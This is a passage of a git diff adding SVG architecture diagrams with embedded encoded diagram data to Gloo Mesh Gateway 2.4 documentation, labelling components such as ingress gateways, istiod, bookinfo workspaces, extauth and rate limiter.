OrffipfO9uVcdTAwMWWV/HEn/FBqT72T12c7olx1MDAwMl1CRFx1MDAxYf8p4tFcdTAwMGamXkm3YF+q9tv5bZVNSuwhUTg5Wlx1MDAwN1YsUvYueU65olmROz2eUlx1MDAxY5XnXCIkWf5X2WblatnLc2tGQoBccme8ovFkscRL+3GCn3r0TFxy71uv6lx1MDAxNVx1MDAxN9NP/qzwXHUwMDEzXHSx+rhbX95lQVx1MDAwMP5cdTAwMGb8XHUwMDA0+Vx1MDAxNXSoToLj8E3JeErwXG5JRuHLXHUwMDE5W8CgZKjwki6pXHUwMDEyXCK8XHUwMDE2Q7R2dKauqFJUKLQ/ibWHI3UwSPowu4N/OjV44Lg0cS7zzk/Tl+jkxdP0P5P9M9X1kYUzn3cxv1x1MDAxOVx1MDAwYiWUo7jzcjx/dng/nuSTz3fvvXxcIotoXHUwMDE3pfOxR1x1MDAxNiiEOVx1MDAxOZHxRVx1MDAxNkKZXqSAL2KJLM5cdTAwMWZei88v+fvCuM5qXHUwMDE3Pckukq3aXHUwMDBmsthcdTAwMTay2NHy7mhY/NCpiMpDsdy0XHUwMDFmj9Fh6v5cYo1vNlqFZUDI/4vsXHUwMDExXGJRXHUwMDExfKyPpTn3UlwiOlx1MDAxMlxu36f4XCIhXHUwMDFlJmwpjVx1MDAxOVx1MDAxMsJcdTAwMTKBaW3iIL9cdTAwMTNcdTAwMTSyS4Ph2Fx1MDAxZVxm94SFlqCIRSz0MdvNwVx1MDAxMKfB3k1suvqJXHUwMDE13Cyn6dyZXHUwMDE4Y67O+idv04fDqlLDbuw5VGJsmaJcdTAwMWF/Lnf8L9HMlTpcdTAwMTZv3yZcdTAwMTdYSrbDolxicfRtJmyaf2G6PeSTVO1cdTAwMDaps9Z7Ylx1MDAxYjimelm+K56/JJLdczqyO2/ZzD2ZRlx1MDAxYndnqja8XHUwMDAwQHA/RoxcdTAwMTVcdTAwMTamSUj00k1v4iZ7nTo8zZ82y1M+vVZcdTAwMDPWjrtpI1x1MDAxN2JL6ELi52a2XGbglbLtXHUwMDE3N7eWLYNcdTAwMTGV1JRW3l+SZ1x1MDAxOPXf6rth8yzTXHUwMDFhXHUwMDE1XHUwMDFhh8Ps9IU+yYvR5rD4x5jZ6fJufdhlRof/XHUwMDAzP0FcdTAwMTJcdTAwMDZcdTAwMTlcdTAwMWSMXHUwMDA3lq9TkjJcIjiOLlx1MDAwM8OXM7aIZqGbXGYl3MKRpOBOjFxm4lx1MDAwNSqmtLtimH+rXHUwMDE0JngpjVx1MDAxY+WcnZaFI4RgNcti2HV8y1x1MDAwNbNiiVx1MDAwNveYXHUwMDE1v+e3XHUwMDAxXHUwMDAwkYG1cWHLiWk6RqLnrz/kbsWw9jB5vX9lqo1KefE6pbFcdTAwMDcgzMVqbjjCmI4vXHUwMDFjUabenlwiO1xm/tpcdTAwMDSOlOj1Mz96L7+89Vx1MDAxYZVR9jIxuTh//YEj24IjO1rerzLsMpTj/8A9olx1MDAxYz7v4eppXHUwMDFloYnEapVcIr3hy1x1MDAxOV+Uo8NErZAxwzymXHJcdTAwMTHHao/OmT1gnj485qDVaDeGXHUwMDAxydprXHUwMDAznyUu1SXgYVx1MDAxMfu45rlcdTAwMDFcdTAwMDBigaFcdTAwMWZcdTAwMDRcdNNhXkVcdTAwMGaGv2vctHLTt0RH5srHp0+dvrhcdTAwMTmj2ONcdTAwMWZ3XjaV8UU80mSraEc+XqxcdTAwMDCP/VCvJ890MX3WqVxcXHUwMDEyxF9cdTAwMTE+qvxcdTAwMDCebVx1MDAwMZ5cdTAwMWQt7zdcdTAwMWZ2XHUwMDE5jvJ/4D5xXHUwMDE0Vot/nWeem/bcYpXM8/D1jC+Qclx1MDAxZnlRXHUwMDFkO+jEiVx1MDAxMlp8rzPpvl1tXGY+XHUwMDE1My1cdTAwMDFcdTAwMWNcdTAwMWXMNJvgWmxHSTDbMaRN6tJcbufOw6s3Wrh4aiUv8/SydTjIidz77TpA6Vx1MDAxM5lOI2JcdTAwMTFcdTAwMTAwXHUwMDE0Sa5NN1x1MDAxMVx1MDAxN1x1MDAwYmIkLYpcdTAwMTDmIISk0FRvduxcdTAwMWOEm1xi9anwID1Zz1xmKUFcdTAwMTXZY639MCW2p2NaX+ZWUZm71up2XHUwMDEzbXtQT5Sq1W5n8E+nU4JfgYJsX5ZcdTAwMTfrRp6E+Idd32KRucMmXHUwMDE4yvKBmcJcdTAwMDJcdTAwMDeHxVOKleSrZFxuh+96THlcdTAwMWWMIVx0LC9NwVxy+MbutmlYMUszhFx1MDAxOVx1MDAwMYrjzjaq22R5TKjFTXtcdTAwMGZKXGIsuPLpd6mFhVx1MDAxOGdGODGOhfZcdTAwMWFOXGaZSrQx7r0hQjk2YppwuFo5WGhzQVx0U/BTYVwiXHUwMDE1V45cZtXfObncXHUwMDEy1DQl45gr07hwzVx1MDAxYVbhMVbuSTGlXHUwMDE5Jlx1MDAwMplcdTAwMGVcdTAwMWNcdTAwMTRcdTAwMTOfwlrUMs2HmZLMdFx1MDAxYaY+bdy+VFx1MDAxMYRA4jaXh6znw/3lfF1dsDl6IXtOvUz7SeD26M7Yy2FOvT9cdTAwMTP1cl5cdTAwMTFcdTAwMDQ/JNtv/Hgtr88nXG42oDOLU6w54lpcIrJYX51cYmIhRTQwKIA75ri9TtXmIMnGqUU05abDkSSUO/o5zotXYWExQqnptmFMO49kXHUwMDAzXFwqQYrEt7rLSoItuFx1MDAwYm+QdNGl4XnlpCFGbfqePdPdRiaXLvtJXHUwMDE3ZFGClZJmtzFhSMytxFx1MDAwZulClKU1bFx0yFx1MDAxZiYxUnQrXHUwMDA18vYnXVx1MDAwMlx0bHbXQ1sripclYbrBTWfxrFx1MDAxYiZD0UVMvll7VEfT0fVl67VzZN+nh+N0UCR9TERcZifuQL5cdTAwMDWPXHUwMDA1RZai82szXHUwMDAxs92y8KbiXHUwMDE4XHUwMDA2ZVx1MDAxNM9j9f5ccn3q6WvVT91cdTAwMGUuRrXn81x1MDAxNupcdTAwMDbE5P54mVdcdTAwMWZ3R8v7tYbdflx1MDAwZp5lbmb/LzJcdTAwMWbWw1U7r7OOgjOhOGFcdTAwMTKBlIhu+4bvU0zdzKDCwiQ4U1x1MDAxNt2WXHUwMDA034rPmZhW086Ghd/B59zpXHUwMDBlXHUwMDEzjc7M7/OpnucliGTROeWc5vqgipLgRtdgw4CVSKJjqsLkvJJ8SpNs4VxipZ5cdTAwMGZcdTAwMDeN3Fx1MDAxOS/G+7CeL2R6u602RrhcdTAwMDWm9J/L1V16jaP77YIqKbHUVMY0deL1KnueuWplWvVx5rCSZjfZ4/Pu5np0R8PuXG6rXZ9XJm+saY/oZfKmkm00XHUwMDFiXHUwMDBmr+0tjPt2xFS5kFx1MDAwNSVx1385uanS4/xcdTAwMWLawrhfZdeWgVx1MDAxZv9cdTAwMDfuXHUwMDEx/FBcdTAwMTZovJpKUSBrV+g/XHUwMDE4vpwxxj4hkpZcdTAwMTFLbk3Sblx1MDAwM/xIXHUwMDA01jRcdTAwMTF7XGZcdTAwMDXfSzmcz8c9S1CDt1xiTlx1MDAwNMxcdTAwMTNcXI0h8MydYKSVQFx1MDAxY0Xnw/PmYyHXXHUwMDFkX9nlYU41L9hh9Tax3Uq9W+dCiVx1MDAwMGpcdTAwMDCww6b1NpOeXHUwMDBlMsxizHSPQbBcdTAwMTKwXHUwMDE0wT1cdTAwMTY2On9jPlx1MDAwMMd75G5cdTAwMWE+XHUwMDAwvFx1MDAxMXp/pXjDlNogc9tcdTAwMTOJcrKCbI37T/27fJ/2o+ngTdSPL4NHPnOvXHUwMDBmh71yo1x1MDAxM7ujdp95hTJ48EGUXHUwMDBlPmFnppJcdTAwMDPYs9HrrYTvcTw5nJruoaakO6OMkoU0SKx+XHUwMDFkQ2nNpaDCXHUwMDEx97tVXHUwMDA2R9pigmhBKKaUXHUwMDEz5Vx1MDAxM2KjlKVNv1x1MDAwZlwiNVx1MDAxNlxcO0XNn1xumnCLc7270ORYnLCHK5GDhVx1MDAxM3bYMUSYKWOAqZLC8Ta/XHUwMDEzdlwivGWvI52BVSty1D3h7cJFr1STybN0q3lBXHUwMDAyJiXgKUJcblx1MDAwZfLKXHUwMDFjfnrLg1x1MDAxM2RcdTAwMTHYTGxcdTAwMGU+Tdsy+sXbXGZcdTAwMDRTt7k8dD1cdTAwMWbvL+frypItuE0lkISQzLTliCzYXHUwMDEy13fdTOZcZpeHg1I3WyNccvtFNONuQph67s42ldpcdTAwMWQ8pJDLfSqDg4dcIsTsXHUwMDA2XHUwMDE27ZNOO1x1MDAwNVx1MDAwMJRPl1x1MDAwMTyf9p+afVx1MDAxMnHTeCeu0ULLsEbkQ3XXna/E1YHbai5g+Vx1MDAxNbk4yFx1MDAwMMGO6mZcdTAwMGJcXCyBoskqpaZcdTAwMWVqvdbRRaGepYPsqyzU6MXg/Sz2PIxcYnWxqbtcdTAwMTjcrE2Sg8NDXGaQXGKn2IGFN6WXaVx1MDAxZFx1MDAwMUy/mVx1MDAxNkxcdTAwMGaspN5ltuJuuXYtXHUwMDE3wFx1MDAxYva3/pXrnbu3XGJgXHUwMDFl63GYXGbWk7PucmhcdTAwMDU1WTgtnuHbs9fRXV+Nx6Iyvm3WhrFnMcyIhcXHJVx1MDAxNzhMuvhvo17OgVx1MDAxY0b8ird5OGxWXHUwMDAyZYdcdTAwMDWn48heJCbsRdZkL1x1MDAxMVhfzViVYJSw6Oz1mOaHk2b6uJesj1VJ3tdF7i5cdTAwMWJ79lJaWXReLVF42MuZOFx1MDAxNmJg71xcgWFiXCKaXHUwMDA1Y7s7XCLcxIE2TbROc7SdXCLiUtyQo1xcJjNq8j050L6PetSBXHUwMDFlcC4lV1x1MDAwNK/gXHUwMDAwb15e2oUszj09Tk9ady/302u7elx1MDAxOXf+JVxiXHUwMDAzi87NSI09XGbMnddcdTAwMWX1I0dcdTAwMTJrQmVcXHvR/WhIXHUwMDFmXHUwMDBlI8EhNXh2pMhcdTAwMWQ99JaymG7ZqVxmOX5+nVx1MDAxY55cdTAwMTYmOn/avUq9fVx0XHUwMDE2c9byXdCRXFw7WWxHXGLUJ6vLR0WatGqGyPcy8WhMOIxuUrXbUUVmMXJNMSbJXG5V9lx1MDAwZbvvZ+3bw7Nk2u6J+8fikX48XHUwMDFlXHUwMDA0MFlMjnmEcZRooUyIpvm5mG7EkEWoQprPfoo4ZVx1MDAwM0ht8tOY0DvjuU1cdTAwMDLXzjLn4+LDZSbZOk7f0aHAg0HnNL5cdTAwMTFmXy1cdTAwMWJgR8v7tYbdfjbAjqa7LM7O/4HzYT3MuvMkXHUwMDAzXHUwMDE5mIfKXHUwMDA0olhjXHUwMDE1/fQ/fDljir2ExqGKgUtLbksxbCPOjoHFiVx1MDAxOXOUPfhcdTAwMDZxdlx1MDAwM8A11VK/enDXrfpjsVx1MDAxZFx1MDAwNdstQTqLXGLNNc/1sVx1MDAxYUOBQTmcYWEq7kZmylc6nN6X++nzUebx6fDsNFd/aup1sNrnJVx1MDAxOVxixS0250i2XHUwMDEwdGdKk/9mR/OTXHUwMDA0n3l9fpJcdTAwMDEmhEmFkNhcdTAwMWZ7him8YT9/qcqVi8duP9Xrq3N2p+62oJ93NOxPlsFX3LWtXHUwMDBmu1xmVPk/cI+givHgzE3KQGJpJaNniYWvZ2xRXHUwMDE1XG5cdTAwMTXhjFpsW1wifCupm5hSpjnS31xuVlx1MDAwMUo5XHUwMDE4N4b1g2Tnrevfvm5XwGpcdCxZXHUwMDA0Vlx1MDAwYjNdXHUwMDFmWnFcdTAwMTRcXHhcdTAwMDdcdTAwMTOkXGJcdTAwMTM0usXTXHUwMDFld+96/Dp//Fxcv5z2R+hcdTAwMWVcdTAwMWRlXHUwMDEycXeEXHUwMDAxrqFzg8dcdTAwMWRPhFx1MDAxOWbWnDGxI9hgm3V31lx1MDAwNFdUSzDBiCPmK07g6uhsUK10SoXSMVx1MDAxOVx1MDAwZY6ytsq01Ft8UdBX84TtaHl3NOyDvteKqmzz5emqX1Pjk9HruLlccuzaQIm2rFx1MDAxN3LN3E3mTbRcdTAwMTLCrre2MG5cdTAwMTZVZK2E+pf4YZgrpU5QXG6/drYwbpdWXHUwMDBiL1x1MDAwNTVcdTAwMTHVXHUwMDFie9i86PWK9+3SXHUwMDE2xr0ppWi+fWeXefmmmDrOXHUwMDEz2lxi2rYtXHUwMDE1XGLxJ5Q9wkznSaC3c1x1MDAxMuJIcVx1MDAxMf3gNJxcdTAwMGbiXG4zlVx1MDAwZVVmlFgokjL7rKrUXG4xQlx1MDAxMcP7O8vZXHUwMDAzzEy1ut2Da3tQ/3T33Vx1MDAxMny2iDLdXHUwMDEz3Vx1MDAwMGRcdTAwMDaXrVWYYMSdpWyWVu5Jpp8np8dcdTAwMTdcdTAwMWQ+tK/P2uRqdNq9+lpcdTAwMTiTudmSI2qhuVx1MDAwN0/vKOZvLYxpXHUwMDEyg0BQ6HhcdTAwMWW2jo7EU1x1MDAxN+F+Kp9BjUnv6XDaXCLiXHUwMDA3Ym5cdTAwMGJi7mh5v9awn196zf+L7Fx1MDAxM1lcdTAwMDWfimpcdTAwMGX/XHUwMDExvEI/2PBt+lwiwGpRglx1MDAxM2TxSFx1MDAxMvyTgJVcdTAwMDRbS3HuSFX/XHUwMDA2uOp8MGx0P1x1MDAxZFMtwSOLmGo+yfVYkVx1MDAwNXf9XHUwMDAwysRSr9L1XHUwMDAzjVx1MDAxYomTx5Ph08l5fiREa2jf547izovSNKT/cKVTvVx1MDAxMKFcdTAwMDC2XkRf+qZcdTAwMTFcblx1MDAwZef4XHUwMDA3K1JPiCjTUiPkTEWMXHUwMDEzgmo+s1TuXHUwMDExZV+71+PukNcyteTtczTttolcdTAwMWHyZfTIVUiu7Jrd8edyR9ju51x1MDAwNKH+nstazCyCs3mZKcKA+FxuVb1SR41KTiWeXi+O3s5lXCKdvM9fX8edlzHX2pKSXG7FXHSjTCF3smHCXHUwMDE0UORCXHUwMDAzXHUwMDBiXHUwMDExbSpE7I6ZpU9KlJeZMVwiXHUwMDA0XHUwMDBijWU841x1MDAxOZ5cbqnb0cP5YVx1MDAxMZGzh+P22404VLW4c/Nxq+HakX1y8++5hHJzYIVccqmDXHUwMDFkkNpkblx1MDAxMCSi+znC9zKWflx1MDAwZcxcdTAwMTW3OMbIXHUwMDFjXHUwMDFhciGZu3hQXHUwMDAyXHUwMDE0M8PA5oBOXHUwMDE5XHUwMDE11MHsWz1MI6ZcdTAwMTiDkJqb/EmshE9cdTAwMTdcdTAwMGJpYclMXHUwMDAxXHUwMDE20zaMXHUwMDEy7U2dYuZcdTAwMWLsUmvHonpQuNI4cDarwPBkpUEjUcVcdTAwMDFmam97XHUwMDFlzCygcVx1MDAwMZaHkFxuceXthPPvqPWRXGKmMHN5aGs+3l/OVyNyZ0/4u9TrZYawxVx1MDAxZlx1MDAxYvX3W8NcdTAwMWVcdTAwMWZcdTAwMDVH5/31e1GNXHUwMDE0sM3X+p///et//z9cdTAwMDO3RUwifQ== + + + + ingress gatewayeastwest gatewayistiodGloo Mesh agentbookinfo workspacebookinfo-frontendsnamespacebookinfo-backendsnamespacegateways workspaceproductpagedetailsratingsreviewsproductpagedetailsratingsreviewsextauthrate limiterredisistiodGloo Mesh agentGloo Mesh Gateway componentsGloo Mesh management serverGloo Mesh dashboardPrometheusKubernetes clustersistio-gatewaysnamespaceKubernetes APIserverKubernetes APIserveringress gatewayeastwest gatewayextauthrate limiterredisgloo-mesh-addonsnamespacenot-in-meshin-meshhttpbinnamespacev1v2v1v2v3standard PodPod with EnvoyGloo Mesh PodIstio PodLegendClient \ No newline at end of file diff --git a/gloo-mesh/gateway/2-4/airgap/portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/portal/images/steps/create-gateways-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1Pvf